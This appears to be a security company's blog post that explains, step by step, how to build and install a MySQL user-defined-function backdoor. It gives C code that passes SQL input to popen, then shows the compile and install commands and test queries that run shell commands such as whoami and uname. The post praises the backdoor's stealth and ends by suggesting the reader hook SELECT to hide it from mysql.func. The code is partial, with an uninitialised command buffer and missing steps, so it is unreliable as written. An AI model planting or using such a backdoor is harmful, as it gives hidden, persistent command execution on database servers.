Simple MySQL Backdoor using User Defined Functions (UDF)

August 10, 2016 • Blog
Share this article

So what is a UDF? It is a way to extend MySQL with a new function that works like a native (built-in) MySQL function; i.e., by using a UDF you can create native code to be executed on the server from inside MySQL. To do this you need to write a library (shared object in Linux, or DLL in Windows), put it into a system directory, then create the functions in MySQL. Usually people write UDFs using C/C++, but you can really use any language you want since you are creating a shared object. This has the advantage of being simple to write while also being highly portable. The real benefit is that you don’t need to access or modify the source code of MySQL, and after the UDF is installed you can update the DBMS without the need to make any changes to your code (i.e., it is transparent).

Creating the code

For each function you would like to include in MySQL, you need to write three functions:

  • The constructor: FunctionName_init( UDF_INIT *, UDF_ARGS *, char *);
  • The destructor: FunctionName_deinit(UDF_INIT *);
  • The main function: FunctionName(UDF_INIT *, UDF_ARGS *, char *, unsigned long *, char *, char *);

The constructor is initialisation code that will be executed before the main function, and is where you should perform input validation, allocate necessary memory, perform other setup tasks, etc. Conversely, the destructor is executed after your function, and is where any cleanup instructions should be placed (e.g.: release dynamically allocated buffers). The main function should contain the code to perform the function itself.

UDF functions can return string, integer or real values. For our purposes, the function we want to write should receive a string as parameter, and then execute it as an operating system command.

Constructor Code

#define BSIZE     256
...
char *buff;
unsigned int bsize = BSIZE;
...
my_bool dbms_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
        if(args->arg_count != 1 || args->arg_type[0] != STRING_RESULT)
        {
                strcpy(message, "dbms(): Incorrect usage; Use the source, Luke.");
...
        buff = calloc(bsize, 1);

The parameters passed from the user are stored into the UDF_ARGS struct. The message parameter should store the error message to be passed to the user if a fault occurs. Here we are checking if there is only one parameter (args->arg_count != 1) as well as if this parameter is a string (args->arg_type[0] != STRING_RESULT). If these checks fail then our string is showed, as we can see in the example below:

mysql> SELECT dbms();
ERROR 1123 (HY000): Can't initialize function 'dbms'; dbms(): Incorrect usage; Use the source, Luke.
mysql> SELECT dbms(1);
ERROR 1123 (HY000): Can't initialize function 'dbms'; dbms(): Incorrect usage; Use the source, Luke.
mysql> SELECT dbms(1, 2);
ERROR 1123 (HY000): Can't initialize function 'dbms'; dbms(): Incorrect usage; Use the source, Luke.
mysql> SELECT dbms("");
+----------+
| dbms("") |
+----------+
|          |
+----------+
1 row in set (0.00 sec)
mysql>

Lastly, we allocated enough buffer to store the output of the executed command:

(buff = calloc(bsize, 1);).

Destructor Code

void dbms_deinit(UDF_INIT *initid __attribute__((unused)))
{
        free(buff);
}

Our destructor code simply releases the allocated buffer used to store the command output.

Main Function Code

char *dbms(UDF_INIT *initid __attribute__((unused)), UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error __attribute__((unused)))
{
        char *cmd;
        FILE *fp;

        for(i=0; i < args->arg_count; i++)
                strcat(cmd, args->args[i]);

        fp = popen(cmd, "r");

        result = buff;

        return result;
}

Our main function takes the string passed by the user (strcat(cmd, args->args[i]);) and executes it using popen (popen(cmd, “r”);). In this case popen() is better to use than system(), because it creates a “read” pipe connected to the stdout of the child process, allowing us to read the output of the command. The result parameter is used to store the string returned, but because it has a limit of 255 bytes, we are using the buffer created in the constructor function.

Installing and Testing Our Code

In order to install our code, we to perform the following three steps, starting with compilation:

root@deb8x32:~/UDF# gcc -I/usr/include/mysql -shared -o sg.so sg.c
root@deb8x32:~/UDF#

Then copy the compiled object into the system directory:

root@deb8x32:~/UDF# cp sg.so /usr/lib/mysql/plugin/
root@deb8x32:~/UDF#

Finally, import the function into MySQL:

mysql> CREATE FUNCTION dbms RETURNS STRING SONAME "sg.so";
Query OK, 0 rows affected (0.00 sec)




mysql>




mysql> SELECT * FROM mysql.func;
+------+-----+-------+----------+
| name | ret | dl    | type     |
+------+-----+-------+----------+
| dbms |   0 | sg.so | function |
+------+-----+-------+----------+
1 row in set (0.00 sec)




mysql>

Fortunately, it is not necessary to restart the MySQL daemon to load the function.

Field Test Time!

Now that we have loaded the module, we can test command execution:

mysql> SELECT dbms("pwd");
+----------------+
| dbms("pwd")    |
+----------------+
| /var/lib/mysql |
+----------------+
1 row in set (0.00 sec)




mysql> SELECT dbms("whoami");
+----------------+
| dbms("whoami") |
+----------------+
| mysql          |
+----------------+
1 row in set (0.09 sec)




mysql> SELECT dbms("cat /etc/debian_version");
+---------------------------------+
| dbms("cat /etc/debian_version") |
+---------------------------------+
| 8.5                             |
+---------------------------------+
1 row in set (0.09 sec)




mysql> SELECT dbms("uname -a");
+------------------------------------------------------------------------------------------------+
| dbms("uname -a")                                                                               |
+------------------------------------------------------------------------------------------------+
| Linux deb8x32 3.16.0-4-686-pae #1 SMP Debian 3.16.7-ckt25-2+deb8u3 (2016-07-02) i686 GNU/Linux |
+------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)


mysql>

Conclusion

The use of UDFs for exploitation is widespread and there are many public tools that use this to execute arbitrary remote code, e.g.: sqlmap . We can see why this is from our example: it is nearly trivial to write new functions to fit your needs. The big advantage is that our code is not detected by the operating system, since it is loaded within a trusted execution environment (MySQL). On the other hand, we need a certain level of privilege to a) deploy and b) access the backdoor.

Prerequisites:

  • We need write permission for the database’s “func” table.
  • We need to have privileges to copy our library (shared object) to a system directory (in our environment: /usr/lib/mysql/plugin/)

Advantages:

  • From the perspective of operating system it is nice and stealthy since we don’t have a new process running on the server.

Disadvantages:

  • You need another vector to be able to call this code, e.g., a database credential or a SQL Injection vector.
  • It can be /detected from the table mysql.func, as showed below:
mysql> SELECT * FROM mysql.func;
+------+-----+-------+----------+
| name | ret | dl    | type     |
+------+-----+-------+----------+
| dbms |   0 | sg.so | function |
+------+-----+-------+----------+
1 row in set (0.00 sec)


mysql>

We’ll leave you with a suggestion to improve this exploit:

Because the library is loaded into the address space of the MySQL process, you could intercept (hook) the SELECT statement handler, then hide the detection from the table mysql.func.

Contact us

Speak with a Tesserent
Security Specialist

Tesserent is a full-service cybersecurity and secure cloud services provider, partnering with clients from all industries and all levels of government. Let’s talk.

Let's Talk
Tess head 5 min